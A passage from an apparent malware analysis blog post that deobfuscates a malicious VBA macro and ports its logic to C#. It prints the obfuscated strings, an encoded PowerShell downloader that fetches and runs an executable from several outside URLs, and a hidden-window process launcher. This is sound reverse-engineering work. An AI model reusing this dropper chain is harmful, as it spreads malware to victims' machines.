21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBoAH58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggdAAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBwADo58[sn ]]][ jsa 21u7gsgggALwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAvAH58[sn ]]][ jsa 21u7gsgggIAZQB58[sn ]]][ jsa 21u7gsgggjAHUA58[sn ]]][ jsa 21u7gsgggcABlA58[sn ]]][ jsa 21u7gsgggHIAYQ58[sn ]]][ jsa 21u7gsgggBhACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAd58[sn ]]][ jsa 21u7gsgggQBwAG58[sn ]]][ jsa 21u7gsgggEAcgB58[sn ]]][ jsa 21u7gsggglAGoA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAYQ58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwAu58[sn ]]][ jsa 21u7gsgggAGMAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAbwB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggC8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAQQBy58[sn ]]][ jsa 21u7gsgggAGMAa58[sn ]]][ jsa 21u7gsgggABpAH58[sn ]]][ jsa 21u7gsgggYAbwB58[sn ]]][ jsa 21u7gsgggzACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggHYAaQ58[sn ]]][ jsa 21u7gsgggBlAGo58[sn ]]][ jsa 21u7gsgggAbwBz58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggdAB3A58[sn ]]][ jsa 21u7gsgggC8AKg58[sn ]]][ jsa 21u7gsgggBoAHQ58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAd58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggwADoA58[sn ]]][ jsa 21u7gsgggLwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggAvAHc58[sn ]]][ jsa 21u7gsgggAdwB358[sn ]]][ jsa 21u7gsgggAC4AJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAbAB58[sn ]]][ jsa 21u7gsggghAGkA58[sn ]]][ jsa 21u7gsgggYgByA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGE58[sn ]]][ jsa 21u7gsgggAeQAu58[sn ]]][ jsa 21u7gsgggAGMAb58[sn ]]][ jsa 21u7gsgggwBtAC58[sn ]]][ jsa 21u7gsggg8AYgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBsA58[sn ]]][ jsa 21u7gsgggG8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZwAv58[sn ]]][ jsa 21u7gsgggAE4AO58[sn ]]][ jsa 21u7gsgggQB6AC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggpAC4A58[sn ]]][ jsa 21u7gsgggIgBTA58[sn ]]][ jsa 21u7gsgggGAAUA58[sn ]]][ jsa 21u7gsgggBMAGk58[sn ]]][ jsa 21u7gsgggAdAAi58[sn ]]][ jsa 21u7gsgggACgAW58[sn ]]][ jsa 21u7gsgggwBjAG58[sn ]]][ jsa 21u7gsggggAYQB58[sn ]]][ jsa 21u7gsgggyAF0A58[sn ]]][ jsa 21u7gsgggNAAyA58[sn ]]][ jsa 21u7gsgggCkAOw58[sn ]]][ jsa 21u7gsgggAkAEI58[sn ]]][ jsa 21u7gsgggAbwA358[sn ]]][ jsa 21u7gsgggAG8Ab58[sn ]]][ jsa 21u7gsgggwBxAG58[sn ]]][ jsa 21u7gsggg0APQA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggRwBmA58[sn ]]][ jsa 21u7gsgggGQAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAcQBv58[sn ]]][ jsa 21u7gsgggADgAM58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggmAG8A58[sn ]]][ jsa 21u7gsgggcgBlA58[sn ]]][ jsa 21u7gsgggGEAYw58[sn ]]][ jsa 21u7gsgggBoACg58[sn ]]][ jsa 21u7gsgggAJABZ58[sn ]]][ jsa 21u7gsgggAGIAe58[sn ]]][ jsa 21u7gsggggBtAG58[sn ]]][ jsa 21u7gsggg4AeAB58[sn ]]][ jsa 21u7gsgggqACAA58[sn ]]][ jsa 21u7gsgggaQBuA58[sn ]]][ jsa 21u7gsgggCAAJA58[sn ]]][ jsa 21u7gsgggBMAGQ58[sn ]]][ jsa 21u7gsgggAdwBl58[sn ]]][ jsa 21u7gsgggAGEAY58[sn ]]][ jsa 21u7gsgggQBnAC58[sn ]]][ jsa 21u7gsgggkAewB58[sn ]]][ jsa 21u7gsggg0AHIA58[sn ]]][ jsa 21u7gsgggeQB7A58[sn ]]][ jsa 21u7gsgggCQAQg58[sn ]]][ jsa 21u7gsgggB3AGE58[sn ]]][ jsa 21u7gsgggAMQBz58[sn ]]][ jsa 21u7gsgggADgAZ58[sn ]]][ jsa 21u7gsgggAAuAC58[sn ]]][ jsa 21u7gsgggIAZAB58[sn ]]][ jsa 21u7gsgggPAHcA58[sn ]]][ jsa 21u7gsgggbgBgA58[sn ]]][ jsa 21u7gsgggGwATw58[sn ]]][ jsa 21u7gsgggBBAEQ58[sn ]]][ jsa 21u7gsgggAYABG58[sn ]]][ jsa 21u7gsgggAEkAY58[sn ]]][ jsa 21u7gsgggABMAE58[sn ]]][ jsa 21u7gsgggUAIgA58[sn ]]][ jsa 21u7gsgggoACQA58[sn ]]][ jsa 21u7gsgggWQBiA58[sn ]]][ jsa 21u7gsgggHoAbQ58[sn ]]][ jsa 21u7gsgggBuAHg58[sn ]]][ jsa 21u7gsgggAagAs58[sn ]]][ jsa 21u7gsgggACAAJ58[sn ]]][ jsa 21u7gsgggABFAG58[sn ]]][ jsa 21u7gsggg8ANAB58[sn ]]][ jsa 21u7gsgggnADEA58[sn ]]][ jsa 21u7gsgggMAB6A58[sn ]]][ jsa 21u7gsgggCkAOw58[sn ]]][ jsa 21u7gsgggAkAFI58[sn ]]][ jsa 21u7gsgggAZAA158[sn ]]][ jsa 21u7gsgggAHcAO58[sn ]]][ jsa 21u7gsgggAB2AG58[sn ]]][ jsa 21u7gsggg8APQA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggUwBiA58[sn ]]][ jsa 21u7gsgggGEAbw58[sn ]]][ jsa 21u7gsgggBoACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADAAZ58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggJAGYA58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggCgAJg58[sn ]]][ jsa 21u7gsgggAoACc58[sn ]]][ jsa 21u7gsgggARwBl58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggQALQB58[sn ]]][ jsa 21u7gsgggJACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggHQAZQ58[sn ]]][ jsa 21u7gsgggBtACc58[sn ]]][ jsa 21u7gsgggAKQAg58[sn ]]][ jsa 21u7gsgggACQAR58[sn ]]][ jsa 21u7gsgggQBvAD58[sn ]]][ jsa 21u7gsgggQAZwA58[sn ]]][ jsa 21u7gsgggxADAA58[sn ]]][ jsa 21u7gsgggegApA58[sn ]]][ jsa 21u7gsgggC4AIg58[sn ]]][ jsa 21u7gsgggBMAGA58[sn ]]][ jsa 21u7gsgggARQBu58[sn ]]][ jsa 21u7gsgggAGAAZ58[sn ]]][ jsa 21u7gsgggwBUAG58[sn ]]][ jsa 21u7gsggggAIgA58[sn ]]][ jsa 21u7gsggggAC0A58[sn ]]][ jsa 21u7gsgggZwBlA58[sn ]]][ jsa 21u7gsgggCAAMw58[sn ]]][ jsa 21u7gsgggA3ADg58[sn ]]][ jsa 21u7gsgggANAAx58[sn ]]][ jsa 21u7gsgggACkAI58[sn ]]][ jsa 21u7gsgggAB7AC58[sn ]]][ jsa 21u7gsgggYAKAA58[sn ]]][ jsa 21u7gsgggnAEkA58[sn ]]][ jsa 21u7gsgggbgB2A58[sn ]]][ jsa 21u7gsgggG8Aaw58[sn ]]][ jsa 21u7gsgggBlAC058[sn ]]][ jsa 21u7gsgggASQAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwB0AG58[sn ]]][ jsa 21u7gsgggUAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggbQAnA58[sn ]]][ jsa 21u7gsgggCkAKA58[sn ]]][ jsa 21u7gsgggAkAEU58[sn ]]][ jsa 21u7gsgggAbwA058[sn ]]][ jsa 21u7gsgggAGcAM58[sn ]]][ jsa 21u7gsgggQAwAH58[sn ]]][ jsa 21u7gsgggoAKQA58[sn ]]][ jsa 21u7gsggg7ACQA58[sn ]]][ jsa 21u7gsgggWQAzA58[sn ]]][ jsa 21u7gsgggG0AZA58[sn ]]][ jsa 21u7gsgggBsAGM58[sn ]]][ jsa 21u7gsgggANQA958[sn ]]][ jsa 21u7gsgggACgAJ58[sn ]]][ jsa 21u7gsgggwBKAH58[sn ]]][ jsa 21u7gsggggAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggMABjA58[sn ]]][ jsa 21u7gsgggG8ANg58[sn ]]][ jsa 21u7gsgggAxACc58[sn ]]][ jsa 21u7gsgggAKQA758[sn ]]][ jsa 21u7gsgggAGIAc58[sn ]]][ jsa 21u7gsggggBlAG58[sn ]]][ jsa 21u7gsgggEAawA58[sn ]]][ jsa 21u7gsggg7ACQA58[sn ]]][ jsa 21u7gsgggWgA5A58[sn ]]][ jsa 21u7gsgggHUAeg58[sn ]]][ jsa 21u7gsgggBpAG058[sn ]]][ jsa 21u7gsgggAcwA958[sn ]]][ jsa 21u7gsgggACgAJ58[sn ]]][ jsa 21u7gsgggwBSAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbg58[sn ]]][ jsa 21u7gsgggBxADA58[sn ]]][ jsa 21u7gsgggAcQBr58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggQB9AH58[sn ]]][ jsa 21u7gsggg0AYwB58[sn ]]][ jsa 21u7gsggghAHQA58[sn ]]][ jsa 21u7gsgggYwBoA58[sn ]]][ jsa 21u7gsgggHsAfQ58[sn ]]][ jsa 21u7gsgggB9ACQ58[sn ]]][ jsa 21u7gsgggARgB058[sn ]]][ jsa 21u7gsgggAHIAZ58[sn ]]][ jsa 21u7gsggggBuAG58[sn ]]][ jsa 21u7gsgggoAbwA58[sn ]]][ jsa 21u7gsggg9ACgA58[sn ]]][ jsa 21u7gsgggJwBBA58[sn ]]][ jsa 21u7gsgggHEAdA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwA558[sn ]]][ jsa 21u7gsgggAHEAZ58[sn ]]][ jsa 21u7gsggggBsAC58[sn ]]][ jsa 21u7gsgggcAKQA58[sn ]]][ jsa 21u7gsggg=";
return Func3(l_var1);
}Line 3 in the code above has a string of repeating characters like the one we saw in the first section. We deal with this string the same way we did with the last one. We send it to Func3 which will split the string into an array and join the array back together to give us the real string.
The resulting string turns out to be this PowerShell command.
powersheLL -e JABFAHQANwBrADAAegBkAD0AKAAnAEQAJwArACcANgA3AHMAaAAnACsAJwB2ADIAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAFYAOgBUAGUAbQBQAFwATwBGAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQBSAGkAVAB5AHAAcgBvAFQAYABPAGMAYABvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxACcAKwAnADEALAAgAHQAJwArACcAbABzACcAKQA7ACQAVgBuAGIAeQBhAGgAeAAgAD0AIAAoACcASQBuACcAKwAnAHUAZQBkADkAcQAnACkAOwAkAEsAdQBsAHgAXwB0AHYAPQAoACcASwAzACcAKwAnAGcANgAyACcAKwAnAF8AegAnACkAOwAkAEUAbwA0AGcAMQAwAHoAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEIAcQBNACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAnACsAJwAxADkAQgAnACsAJwBxAE0AJwApACAAIAAtAHIARQBQAGwAYQBDAGUAIAAoAFsAYwBIAGEAUgBdADYANgArAFsAYwBIAGEAUgBdADEAMQAzACsAWwBjAEgAYQBSAF0ANwA3ACkALABbAGMASABhAFIAXQA5ADIAKQArACQAVgBuAGIAeQBhAGgAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASABzAGEANwBkAGcANgA9ACgAJwBRAHcAbAB4ACcAKwAnAHgAdAA1ACcAKQA7ACQAQgB3AGEAMQBzADgAZAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgB3AEUAQgBjAGwASQBlAE4AdAA7ACQATABkAHcAZQBhAGEAZwA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAJwArACcAaAAnACsAJwBpAGMAJwArACcAaAAnACsAJwBkACcAKwAnAGkAcgAnACsAJwB1AG4AJwArACcAZwAnACsAJwAuACcAKwAnAGMAbwBtAC8AJwArACcAZAB1AHAALQBpAG4AcwB0AGEAbABsACcAKwAnAGUAcgAvADYAcwAyACcAKwAnAHAATgBXACcAKwAnAEgALwAqAGgAdAB0AHAAOgAvAC8AcwAnACsAJwB1AG4AZwB2AGEAbABvAHAAawBoACcAKwAnAG8AJwArACcAbgBnACcAKwAnAHMAYQBtACcAKwAnAC4AJwArACcAYwBvAG0ALwAnACsAJwB0AGUAJwArACcAbQBwAC8AdAA5ACcAKwAnADAAJwArACcAeQBqACcAKwAnAHMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AZAAnACsAJwByAHMAaABlAGsAaAAnACsAJwBhACcAKwAnAHIAYgBpAHMAJwArACcAdwBhACcAKwAnAHMAJwArACcALgBjAG8AbQAvAGMAZwAnACsAJwBpAC0AYgBpAG4AJwArACcALwBMAGEAJwArACcAMQAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvAHcAdwAnACsAJwB3AC4AcAByACcAKwAnAG8AJwArACcAeQBlAGMAdABvACcAKwAnAGIAJwArACcAYQAnACsAJwB5AGEAJwArACcAYwB1AC4AYwBvAG0ALwBuACcAKwAnAG8AdABoAGkAbgAnACsAJwBnAC8AJwArACcANQAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBkACcAKwAnAGkAJwArACcAZwAnACsAJwBpAHQAYQAnACsAJwBsAG0AYQByAGsAZQAnACsAJwB0AGkAJwArACcAbgBnAGIAbABvAGcAJwArACcAZwAnACsAJwBlAHIAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AZQAnACsAJwBsACcAKwAnAGoAdQAvACcAKwAnAEEAbwA1AEkASgB5AC8AKgAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAnACsAJwAvAHIAZQBjAHUAcABlAHIAYQBhACcAKwAnAHQAdQBwAGEAcgBlAGoAJwArACcAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAQQByAGMAaABpAHYAbwBzACcAKwAnAHYAaQBlAGoAbwBzACcAKwAnAC8AJwArACcAdAB3AC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAnACsAJwAvAHcAdwB3AC4AJwArACcAbABhAGkAYgByACcAKwAnAGEAeQAuAGMAbwBtAC8AYgAnACsAJwBsAG8AJwArACcAZwAvAE4AOQB6AC8AJwApAC4AIgBTAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAbwA3AG8AbwBxAG0APQAoACcARwBmAGQAJwArACcAcQBvADgAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAGIAegBtAG4AeABqACAAaQBuACAAJABMAGQAdwBlAGEAYQBnACkAewB0AHIAeQB7ACQAQgB3AGEAMQBzADgAZAAuACIAZABPAHcAbgBgAGwATwBBAEQAYABGAEkAYABMAEUAIgAoACQAWQBiAHoAbQBuAHgAagAsACAAJABFAG8ANABnADEAMAB6ACkAOwAkAFIAZAA1AHcAOAB2AG8APQAoACcAUwBiAGEAbwBoACcAKwAnADAAZAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQARQBvADQAZwAxADAAegApAC4AIgBMAGAARQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA3ADgANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAKAAkAEUAbwA0AGcAMQAwAHoAKQA7ACQAWQAzAG0AZABsAGMANQA9ACgAJwBKAHgAJwArACcAMABjAG8ANgAxACcAKQA7AGIAcgBlAGEAawA7ACQAWgA5AHUAegBpAG0AcwA9ACgAJwBSACcAKwAnAHkAJwArACcAbgBxADAAcQBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgB0AHIAZgBuAGoAbwA9ACgAJwBBAHEAdAAnACsAJwA5AHEAZgBsACcAKQA=The PowerShell script is base64 encoded which is very helpful. However, we will deal with what the script does in a future post. This post is just about what the VBA script is doing.
Starting the Process
Now that we know what the return value of Func4 is, we can see that l_var4. _
Create(Func4, Di7kp444ma7x, l_var8) is simply starting a new process that executes a PowerShell script.
As I mentioned the code for this in C# required some changes. Because C# has it’s own method of starting processes, I did not need to use a lot of the code presented above for the final thing.
However, the process of writing all this code out in C# was vital to understanding how the script functioned. For instance, I would have been hard pressed to manually split the strings to obtain the unique characters for creating our objects or for getting the PowerShell script.
Obtaining these strings was critical to understanding how the script functioned and it is what allowed me to translate the rest of the code to C#.
Here is the full code in C#.
public static void ain1(string[] args)
{
Run();
}
private static void Run()
{
// Create our new Process Object ("winmgmts:win32_Process")
var l_var4 = new Process();
var l_var8 = Func2();
l_var4.StartInfo = l_var8;
// We would normally start the process... but for safety's sake we will refrain from doing that.
//l_var4.Start();
}
private static ProcessStartInfo Func2()
{
// In the original VBA script we passed in a string that would be used to create an instance of
// the object that stored information about the process we eventually want to start.
// Below is the C# equivalent. We do not need to rely on the string anymore so it was not passed in.
// Create the new process config object "winmgmts:win32_Processstartup"
var psi = new ProcessStartInfo();
// We do not want to create a new window... The user would then be tipped off that something was executing and
// we want to avoid that (since we are evil)
psi.CreateNoWindow = true;
// Set some other options that are not set in the original script
// This sets the process we want to start, and the command which we will get from Func4()
psi.FileName = "C:\\Windows\\System32\\cmd.exe";
psi.UseShellExecute = false;
psi.Arguments = "/C " + Func4();
return psi;
}
private static string Func3(string obfuscatedStr)
{
// We will take the input into this funtion and use .Split to break the string up into different parts. We are going to
// split the string by "58[sn ]]][ jsa 21u7gsggg". By doing this, we are removing every instance of "58[sn ]]][ jsa 21u7gsggg"
// from the output, which leaves us with an array that contians all the characters in the input string that are not part of
// the "58[sn ]]][ jsa 21u7gsggg" pattern
string l_var1 = obfuscatedStr;
var split_l_var1 = l_var1.Split(new[] { "58[sn ]]][ jsa 21u7gsggg" }, StringSplitOptions.None);
// Now we will take the array with all our left over characters and put it back together into a single string and return it.
var l_var2 = string.Join("", split_l_var1);
return l_var2;
}
private static string Func4()
{
// Input the following string into Func3 and return the result of Func3
// The below code will result in a string that calls the PowerShell process and a base64 encoded PowerShell Script
var l_var1 = "p58[sn ]]][ jsa 21u7gsgggo58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsggge58[sn ]]][ jsa 21u7gsgggr58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggh58[sn ]]][ jsa 21u7gsgggeL58[sn ]]][ jsa 21u7gsgggL58[sn ]]][ jsa 21u7gsggg 58[sn ]]][ jsa 21u7gsggg-58[sn ]]][ jsa 21u7gsggge58[sn ]]][ jsa 21u7gsggg JABFA58[sn ]]][ jsa 21u7gsgggHQANw58[sn ]]][ jsa 21u7gsgggBrADA58[sn ]]][ jsa 21u7gsgggAegBk58[sn ]]][ jsa 21u7gsgggAD0AK58[sn ]]][ jsa 21u7gsgggAAnAE58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggNgA3A58[sn ]]][ jsa 21u7gsgggHMAaA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwB258[sn ]]][ jsa 21u7gsgggADIAJ58[sn ]]][ jsa 21u7gsgggwApAD58[sn ]]][ jsa 21u7gsgggsAJgA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggbgBlA58[sn ]]][ jsa 21u7gsgggHcALQ58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwBp58[sn ]]][ jsa 21u7gsgggAHQAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAZQB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKQAgA58[sn ]]][ jsa 21u7gsgggCQARQ58[sn ]]][ jsa 21u7gsgggBOAFY58[sn ]]][ jsa 21u7gsgggAOgBU58[sn ]]][ jsa 21u7gsgggAGUAb58[sn ]]][ jsa 21u7gsgggQBQAF58[sn ]]][ jsa 21u7gsgggwATwB58[sn ]]][ jsa 21u7gsgggGAGYA58[sn ]]][ jsa 21u7gsgggaQBDA58[sn ]]][ jsa 21u7gsgggEUAMg58[sn ]]][ jsa 21u7gsgggAwADE58[sn ]]][ jsa 21u7gsgggAOQAg58[sn ]]][ jsa 21u7gsgggAC0Aa58[sn ]]][ jsa 21u7gsgggQB0AG58[sn ]]][ jsa 21u7gsgggUAbQB58[sn ]]][ jsa 21u7gsggg0AHkA58[sn ]]][ jsa 21u7gsgggcABlA58[sn ]]][ jsa 21u7gsgggCAARA58[sn ]]][ jsa 21u7gsgggBpAFI58[sn ]]][ jsa 21u7gsgggARQBj58[sn ]]][ jsa 21u7gsgggAFQAb58[sn ]]][ jsa 21u7gsgggwBSAF58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggbAE4A58[sn ]]][ jsa 21u7gsgggZQB0A58[sn ]]][ jsa 21u7gsgggC4AUw58[sn ]]][ jsa 21u7gsgggBlAHI58[sn ]]][ jsa 21u7gsgggAdgBp58[sn ]]][ jsa 21u7gsgggAGMAZ58[sn ]]][ jsa 21u7gsgggQBQAG58[sn ]]][ jsa 21u7gsggg8AaQB58[sn ]]][ jsa 21u7gsggguAHQA58[sn ]]][ jsa 21u7gsgggTQBhA58[sn ]]][ jsa 21u7gsgggG4AYQ58[sn ]]][ jsa 21u7gsgggBnAGU58[sn ]]][ jsa 21u7gsgggAcgBd58[sn ]]][ jsa 21u7gsgggADoAO58[sn ]]][ jsa 21u7gsggggAiAF58[sn ]]][ jsa 21u7gsgggMARQB58[sn ]]][ jsa 21u7gsggggAGMA58[sn ]]][ jsa 21u7gsgggdQBSA58[sn ]]][ jsa 21u7gsgggGkAVA58[sn ]]][ jsa 21u7gsgggB5AHA58[sn ]]][ jsa 21u7gsgggAcgBv58[sn ]]][ jsa 21u7gsgggAFQAY58[sn ]]][ jsa 21u7gsgggABPAG58[sn ]]][ jsa 21u7gsgggMAYAB58[sn ]]][ jsa 21u7gsgggvAGwA58[sn ]]][ jsa 21u7gsgggIgAgA58[sn ]]][ jsa 21u7gsgggD0AIA58[sn ]]][ jsa 21u7gsgggAoACc58[sn ]]][ jsa 21u7gsgggAdABs58[sn ]]][ jsa 21u7gsgggAHMAM58[sn ]]][ jsa 21u7gsgggQAyAC58[sn ]]][ jsa 21u7gsgggwAIAB58[sn ]]][ jsa 21u7gsggg0ACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggGwAcw58[sn ]]][ jsa 21u7gsgggAxACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADEAL58[sn ]]][ jsa 21u7gsgggAAgAH58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggbABzA58[sn ]]][ jsa 21u7gsgggCcAKQ58[sn ]]][ jsa 21u7gsgggA7ACQ58[sn ]]][ jsa 21u7gsgggAVgBu58[sn ]]][ jsa 21u7gsgggAGIAe58[sn ]]][ jsa 21u7gsgggQBhAG58[sn ]]][ jsa 21u7gsggggAeAA58[sn ]]][ jsa 21u7gsggggAD0A58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggCcASQ58[sn ]]][ jsa 21u7gsgggBuACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHUAZ58[sn ]]][ jsa 21u7gsgggQBkAD58[sn ]]][ jsa 21u7gsgggkAcQA58[sn ]]][ jsa 21u7gsgggnACkA58[sn ]]][ jsa 21u7gsgggOwAkA58[sn ]]][ jsa 21u7gsgggEsAdQ58[sn ]]][ jsa 21u7gsgggBsAHg58[sn ]]][ jsa 21u7gsgggAXwB058[sn ]]][ jsa 21u7gsgggAHYAP58[sn ]]][ jsa 21u7gsgggQAoAC58[sn ]]][ jsa 21u7gsgggcASwA58[sn ]]][ jsa 21u7gsgggzACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggGcANg58[sn ]]][ jsa 21u7gsgggAyACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAF8Ae58[sn ]]][ jsa 21u7gsggggAnAC58[sn ]]][ jsa 21u7gsgggkAOwA58[sn ]]][ jsa 21u7gsgggkAEUA58[sn ]]][ jsa 21u7gsgggbwA0A58[sn ]]][ jsa 21u7gsgggGcAMQ58[sn ]]][ jsa 21u7gsgggAwAHo58[sn ]]][ jsa 21u7gsgggAPQAk58[sn ]]][ jsa 21u7gsgggAGUAb58[sn ]]][ jsa 21u7gsggggB2AD58[sn ]]][ jsa 21u7gsgggoAdAB58[sn ]]][ jsa 21u7gsggglAG0A58[sn ]]][ jsa 21u7gsgggcAArA58[sn ]]][ jsa 21u7gsgggCgAKA58[sn ]]][ jsa 21u7gsgggAnAEI58[sn ]]][ jsa 21u7gsgggAcQBN58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAE58[sn ]]][ jsa 21u7gsggg8AZgB58[sn ]]][ jsa 21u7gsgggmAGkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAYw58[sn ]]][ jsa 21u7gsgggBlADI58[sn ]]][ jsa 21u7gsgggAMAAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAxAD58[sn ]]][ jsa 21u7gsgggkAQgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBxA58[sn ]]][ jsa 21u7gsgggE0AJw58[sn ]]][ jsa 21u7gsgggApACA58[sn ]]][ jsa 21u7gsgggAIAAt58[sn ]]][ jsa 21u7gsgggAHIAR58[sn ]]][ jsa 21u7gsgggQBQAG58[sn ]]][ jsa 21u7gsgggwAYQB58[sn ]]][ jsa 21u7gsgggDAGUA58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggFsAYw58[sn ]]][ jsa 21u7gsgggBIAGE58[sn ]]][ jsa 21u7gsgggAUgBd58[sn ]]][ jsa 21u7gsgggADYAN58[sn ]]][ jsa 21u7gsggggArAF58[sn ]]][ jsa 21u7gsgggsAYwB58[sn ]]][ jsa 21u7gsgggIAGEA58[sn ]]][ jsa 21u7gsgggUgBdA58[sn ]]][ jsa 21u7gsgggDEAMQ58[sn ]]][ jsa 21u7gsgggAzACs58[sn ]]][ jsa 21u7gsgggAWwBj58[sn ]]][ jsa 21u7gsgggAEgAY58[sn ]]][ jsa 21u7gsgggQBSAF58[sn ]]][ 